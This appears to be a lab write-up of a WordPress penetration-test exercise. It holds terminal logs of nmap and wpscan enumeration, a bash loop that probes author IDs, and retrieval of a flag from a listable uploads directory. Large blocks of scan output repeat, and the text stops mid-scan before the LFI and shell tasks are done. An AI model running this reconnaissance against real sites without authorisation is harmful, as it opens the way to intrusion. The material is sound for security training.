OBJECTIVE: perform an external penetration test against the company inlanefreight that is hosting one of their main public-facing websites on WordPress. Enumerate the target thoroughly to find a variety of flags. Obtain shell access to the webserver to find the final flag.
Identify the WordPress version number.
#walk the application
root@htb:~$ BROWSER > http://10.129.2.37/ > blog
* Hmm. We’re having trouble finding that site.
root@htb:~$ sudo nano /etc/hosts
10.129.2.37 blog.inlanefreight.local
root@htb:~$ sudo nmap -sC -sV -T4 10.129.2.37 -p-
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:31:c0:f2:74:ba:29:32:5d:15:ae:43:c5:3a:2c:ab (RSA)
| 256 b5:64:dc:0a:bc:2d:d9:aa:1e:42:b2:50:34:73:0f:40 (ECDSA)
|_ 256 5e:7e:8a:b9:e7:73:5c:be:00:f2:5f:19:d6:d3:23:e3 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Inlane Freight
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Inlane Freight
root@htb:~$ sudo nmap --script=vuln 10.129.2.37 -p 22,80,443
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=inlanefreight.htb
| Found the following possible CSRF vulnerabilities:
|
| Path: http://inlanefreight.local:80/
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/index.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/gallery.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/error.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/services.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/about.html
| Form id:
|_ Form action: #
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /error.html: Potentially interesting folder
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
443/tcp open https
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.1.1
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /error.html: Potentially interesting folder
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=inlanefreight.htb
| Found the following possible CSRF vulnerabilities:
|
| Path: http://inlanefreight.local:443/
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/about.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/index.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/gallery.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/services.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/error.html
| Form id:
|_ Form action: #
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
Identify the WordPress theme in use.Submit the contents of the flag file in the directory with directory listing enabled.Identify the only non-admin WordPress user. (Format:<first-name><last-name>)Use a vulnerable plugin to download a file containing a flag value via an unauthenticated file download.What is the version number of the plugin vulnerable to an LFI?Use the LFI to identify a system user whose name starts with the letter "f".
Obtain a shell on the system and submit the contents of the flag in the /home/erika directory.
#walk the application
root@htb:~$ BROWSER > http://10.129.2.37/ > blog
* Hmm. We’re having trouble finding that site.
root@htb:~$ sudo nano /etc/hosts
10.129.2.37 blog.inlanefreight.local
root@htb:~$ sudo nmap -sC -sV -T4 10.129.2.37 -p-
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:31:c0:f2:74:ba:29:32:5d:15:ae:43:c5:3a:2c:ab (RSA)
| 256 b5:64:dc:0a:bc:2d:d9:aa:1e:42:b2:50:34:73:0f:40 (ECDSA)
|_ 256 5e:7e:8a:b9:e7:73:5c:be:00:f2:5f:19:d6:d3:23:e3 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Inlane Freight
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Inlane Freight
root@htb:~$ sudo nmap --script=vuln 10.129.2.37 -p 22,80,443
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=inlanefreight.htb
| Found the following possible CSRF vulnerabilities:
|
| Path: http://inlanefreight.local:80/
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/index.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/gallery.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/error.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/services.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/about.html
| Form id:
|_ Form action: #
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /error.html: Potentially interesting folder
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
443/tcp open https
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.1.1
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /error.html: Potentially interesting folder
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=inlanefreight.htb
| Found the following possible CSRF vulnerabilities:
|
| Path: http://inlanefreight.local:443/
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/about.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/index.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/gallery.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/services.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/error.html
| Form id:
|_ Form action: #
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
root@htb:~$curl -s -X GET http://blog.inlanefreight.local | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2
http://blog.inlanefreight.local/wp-content/themes/twentynineteen/style.css?ver=1.3
http://blog.inlanefreight.local/wp-content/themes/twentynineteen/print.css?ver=1.3
<body class="home blog wp-custom-logo wp-embed-responsive tribe-no-js page-template-var-www-blog-inlanefreight-local-public_html-wp-content-themes-twentynineteen-page-php hfeed image-filters-enabled">
#walk the application
root@htb:~$ BROWSER > http://10.129.2.37/ > blog
* Hmm. We’re having trouble finding that site.
root@htb:~$ sudo nano /etc/hosts
10.129.2.37 blog.inlanefreight.local
root@htb:~$ sudo nmap -sC -sV -T4 10.129.2.37 -p-
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:31:c0:f2:74:ba:29:32:5d:15:ae:43:c5:3a:2c:ab (RSA)
| 256 b5:64:dc:0a:bc:2d:d9:aa:1e:42:b2:50:34:73:0f:40 (ECDSA)
|_ 256 5e:7e:8a:b9:e7:73:5c:be:00:f2:5f:19:d6:d3:23:e3 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Inlane Freight
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Inlane Freight
root@htb:~$ sudo nmap --script=vuln 10.129.2.37 -p 22,80,443
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=inlanefreight.htb
| Found the following possible CSRF vulnerabilities:
|
| Path: http://inlanefreight.local:80/
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/index.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/gallery.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/error.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/services.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/about.html
| Form id:
|_ Form action: #
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /error.html: Potentially interesting folder
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
443/tcp open https
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.1.1
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /error.html: Potentially interesting folder
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=inlanefreight.htb
| Found the following possible CSRF vulnerabilities:
|
| Path: http://inlanefreight.local:443/
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/about.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/index.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/gallery.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/services.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/error.html
| Form id:
|_ Form action: #
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
root@htb:~$ wpscan --url http://blog.inlanefreight.local --enumerate
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.27
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://blog.inlanefreight.local/ [10.129.2.37]
[+] Started: Thu Apr 10 01:37:56 2025
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.29 (Ubuntu)
| - X-TEC-API-VERSION: v1
| - X-TEC-API-ROOT: http://blog.inlanefreight.local/index.php?rest_route=/tribe/events/v1/
| - X-TEC-API-ORIGIN: http://blog.inlanefreight.local
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://blog.inlanefreight.local/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://blog.inlanefreight.local/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://blog.inlanefreight.local/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://blog.inlanefreight.local/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.1.6 identified (Insecure, released on 2020-06-10).
| Found By: Rss Generator (Passive Detection)
| - http://blog.inlanefreight.local/?feed=rss2, <generator>https://wordpress.org/?v=5.1.6</generator>
| - http://blog.inlanefreight.local/?feed=comments-rss2, <generator>https://wordpress.org/?v=5.1.6</generator>
[+] WordPress theme in use: twentynineteen
| Location: http://blog.inlanefreight.local/wp-content/themes/twentynineteen/
| Last Updated: 2024-11-12T00:00:00.000Z
| Readme: http://blog.inlanefreight.local/wp-content/themes/twentynineteen/readme.txt
| [!] The version is out of date, the latest version is 3.0
| Style URL: http://blog.inlanefreight.local/wp-content/themes/twentynineteen/style.css?ver=1.3
| Style Name: Twenty Nineteen
| Style URI: https://github.com/WordPress/twentynineteen
| Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://blog.inlanefreight.local/wp-content/themes/twentynineteen/style.css?ver=1.3, Match: 'Version: 1.3'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] No plugins Found.
[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:01 <==============================================================================================================> (652 / 652) 100.00% Time: 00:00:01
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] No themes Found.
[+] Enumerating Timthumbs (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:07 <============================================================================================================> (2575 / 2575) 100.00% Time: 00:00:07
[i] No Timthumbs Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <===============================================================================================================> (137 / 137) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[+] Enumerating DB Exports (via Passive and Aggressive Methods)
Checking DB Exports - Time: 00:00:00 <=====================================================================================================================> (84 / 84) 100.00% Time: 00:00:00
[i] No DB Exports Found.
[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected)
Brute Forcing Attachment IDs - Time: 00:00:01 <==========================================================================================================> (100 / 100) 100.00% Time: 00:00:01
[i] Medias(s) Identified:
[+] http://blog.inlanefreight.local/?attachment_id=11
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] http://blog.inlanefreight.local/?attachment_id=13
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] http://blog.inlanefreight.local/?attachment_id=14
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] http://blog.inlanefreight.local/?attachment_id=15
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <================================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] erika
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Display Name (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] admin
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Display Name (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] Charlie Wiggins
| Found By: Author Id Brute Forcing - Display Name (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Thu Apr 10 01:38:24 2025
[+] Requests Done: 3613
[+] Cached Requests: 8
[+] Data Sent: 1.041 MB
[+] Data Received: 1.504 MB
[+] Memory used: 275.594 MB
[+] Elapsed time: 00:00:27
* review the output thoroughly
[+] Upload directory has listing enabled: http://blog.inlanefreight.local/wp-content/uploads/
root@htb:~$ BROWSER > http://blog.inlanefreight.local/wp-content/uplods/
Index of /wp-content/uploads
[ICO] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[DIR] 2020/ 2020-09-08 13:30 -
[DIR] 2024/ 2024-01-19 05:19 -
[DIR] 2025/ 2025-04-10 01:56 -
[DIR] siteeditor/ 2020-09-08 13:49 -
[TXT] upload_flag.txt 2020-09-08 13:56 32
Apache/2.4.29 (Ubuntu) Server at blog.inlanefreight.local Port 80
root@htb:~$ curl -X GET http://blog.inlanefreight.local/wp-content/uploads/upload_flag.txt
HTB{d1sabl3_d1r3ct0ry_l1st1ng!}
#walk the application
root@htb:~$ BROWSER > http://10.129.2.37/ > blog
* Hmm. We’re having trouble finding that site.
root@htb:~$ sudo nano /etc/hosts
10.129.2.37 blog.inlanefreight.local
root@htb:~$ sudo nmap -sC -sV -T4 10.129.2.37 -p-
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:31:c0:f2:74:ba:29:32:5d:15:ae:43:c5:3a:2c:ab (RSA)
| 256 b5:64:dc:0a:bc:2d:d9:aa:1e:42:b2:50:34:73:0f:40 (ECDSA)
|_ 256 5e:7e:8a:b9:e7:73:5c:be:00:f2:5f:19:d6:d3:23:e3 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Inlane Freight
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Inlane Freight
root@htb:~$ sudo nmap --script=vuln 10.129.2.37 -p 22,80,443
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=inlanefreight.htb
| Found the following possible CSRF vulnerabilities:
|
| Path: http://inlanefreight.local:80/
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/index.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/gallery.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/error.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/services.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/about.html
| Form id:
|_ Form action: #
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /error.html: Potentially interesting folder
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
443/tcp open https
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.1.1
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /error.html: Potentially interesting folder
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=inlanefreight.htb
| Found the following possible CSRF vulnerabilities:
|
| Path: http://inlanefreight.local:443/
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/about.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/index.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/gallery.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/services.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/error.html
| Form id:
|_ Form action: #
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
root@htb:~$ wpscan --url http://blog.inlanefreight.local --enumerate
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.27
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://blog.inlanefreight.local/ [10.129.2.37]
[+] Started: Thu Apr 10 01:37:56 2025
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.29 (Ubuntu)
| - X-TEC-API-VERSION: v1
| - X-TEC-API-ROOT: http://blog.inlanefreight.local/index.php?rest_route=/tribe/events/v1/
| - X-TEC-API-ORIGIN: http://blog.inlanefreight.local
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://blog.inlanefreight.local/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://blog.inlanefreight.local/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://blog.inlanefreight.local/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://blog.inlanefreight.local/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.1.6 identified (Insecure, released on 2020-06-10).
| Found By: Rss Generator (Passive Detection)
| - http://blog.inlanefreight.local/?feed=rss2, <generator>https://wordpress.org/?v=5.1.6</generator>
| - http://blog.inlanefreight.local/?feed=comments-rss2, <generator>https://wordpress.org/?v=5.1.6</generator>
[+] WordPress theme in use: twentynineteen
| Location: http://blog.inlanefreight.local/wp-content/themes/twentynineteen/
| Last Updated: 2024-11-12T00:00:00.000Z
| Readme: http://blog.inlanefreight.local/wp-content/themes/twentynineteen/readme.txt
| [!] The version is out of date, the latest version is 3.0
| Style URL: http://blog.inlanefreight.local/wp-content/themes/twentynineteen/style.css?ver=1.3
| Style Name: Twenty Nineteen
| Style URI: https://github.com/WordPress/twentynineteen
| Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://blog.inlanefreight.local/wp-content/themes/twentynineteen/style.css?ver=1.3, Match: 'Version: 1.3'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] No plugins Found.
[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:01 <==============================================================================================================> (652 / 652) 100.00% Time: 00:00:01
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] No themes Found.
[+] Enumerating Timthumbs (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:07 <============================================================================================================> (2575 / 2575) 100.00% Time: 00:00:07
[i] No Timthumbs Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <===============================================================================================================> (137 / 137) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[+] Enumerating DB Exports (via Passive and Aggressive Methods)
Checking DB Exports - Time: 00:00:00 <=====================================================================================================================> (84 / 84) 100.00% Time: 00:00:00
[i] No DB Exports Found.
[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected)
Brute Forcing Attachment IDs - Time: 00:00:01 <==========================================================================================================> (100 / 100) 100.00% Time: 00:00:01
[i] Medias(s) Identified:
[+] http://blog.inlanefreight.local/?attachment_id=11
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] http://blog.inlanefreight.local/?attachment_id=13
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] http://blog.inlanefreight.local/?attachment_id=14
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] http://blog.inlanefreight.local/?attachment_id=15
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <================================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] erika
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Display Name (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] admin
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Display Name (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] Charlie Wiggins
| Found By: Author Id Brute Forcing - Display Name (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Thu Apr 10 01:38:24 2025
[+] Requests Done: 3613
[+] Cached Requests: 8
[+] Data Sent: 1.041 MB
[+] Data Received: 1.504 MB
[+] Memory used: 275.594 MB
[+] Elapsed time: 00:00:27
* review the output thoroughly
[+] Upload directory has listing enabled: http://blog.inlanefreight.local/wp-content/uploads/
#verify by reviewing POSTS
root@htb:~$ BROWSER > http://blog.inlanefreight.local
* walk the application
- identified users with blog posts; clicking on the users will display a
url w/ parameter than can be enumerated
- http://blog.inlanefreight.local/?author=1
root@oco:~$ enumWPAuthors.sh
for i in {1..20}; do
res=$(curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "http://blog.inlanefreight.local/?author=$i")
code=$(echo $res | cut -d' ' -f1)
if [[ $code == 200 || $code == 3* ]]; then
echo "Author ID $i => $res"
fi
done
root@htb:~$ chmod +x enumWPAuthors.sh
root@htb:~$ ./enumWPAuthors.sh
Author ID 1 => 200
Author ID 2 => 200
Author ID 3 => 200
HTTP/1.1 301 Moved Permanently
Date: Wed, 13 May 2020 20:47:08 GMT
Server: Apache/2.4.29 (Ubuntu)
X-Redirect-By: WordPress
Location: http://blog.inlanefreight.com/index.php/author/admin/
Content-Length: 0
Content-Type: text/html; charset=UTF-8
* the URL in the Location header confirms that this user ID belongs to the admin user.
- if the user does not exist, a 404 Not Found is received instead of a 301 or 200 code.
- curl -s -I http://blog.inlanefreight.com/?author=100
root@htb:~$ curl -s "http://blog.inlanefreight.local/?author=3"
<!doctype html>
<html lang="en-US">
<head>
<!-- Built With SiteEditor | http://www.siteeditor.org -->
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="profile" href="https://gmpg.org/xfn/11" />
<title>Charlie Wiggins – Inlanefreight Employee Portal</title>
#walk the application
root@htb:~$ BROWSER > http://10.129.2.37/ > blog
* Hmm. We’re having trouble finding that site.
root@htb:~$ sudo nano /etc/hosts
10.129.2.37 blog.inlanefreight.local
root@htb:~$ sudo nmap -sC -sV -T4 10.129.2.37 -p-
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:31:c0:f2:74:ba:29:32:5d:15:ae:43:c5:3a:2c:ab (RSA)
| 256 b5:64:dc:0a:bc:2d:d9:aa:1e:42:b2:50:34:73:0f:40 (ECDSA)
|_ 256 5e:7e:8a:b9:e7:73:5c:be:00:f2:5f:19:d6:d3:23:e3 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Inlane Freight
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Inlane Freight
root@htb:~$ sudo nmap --script=vuln 10.129.2.37 -p 22,80,443
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=inlanefreight.htb
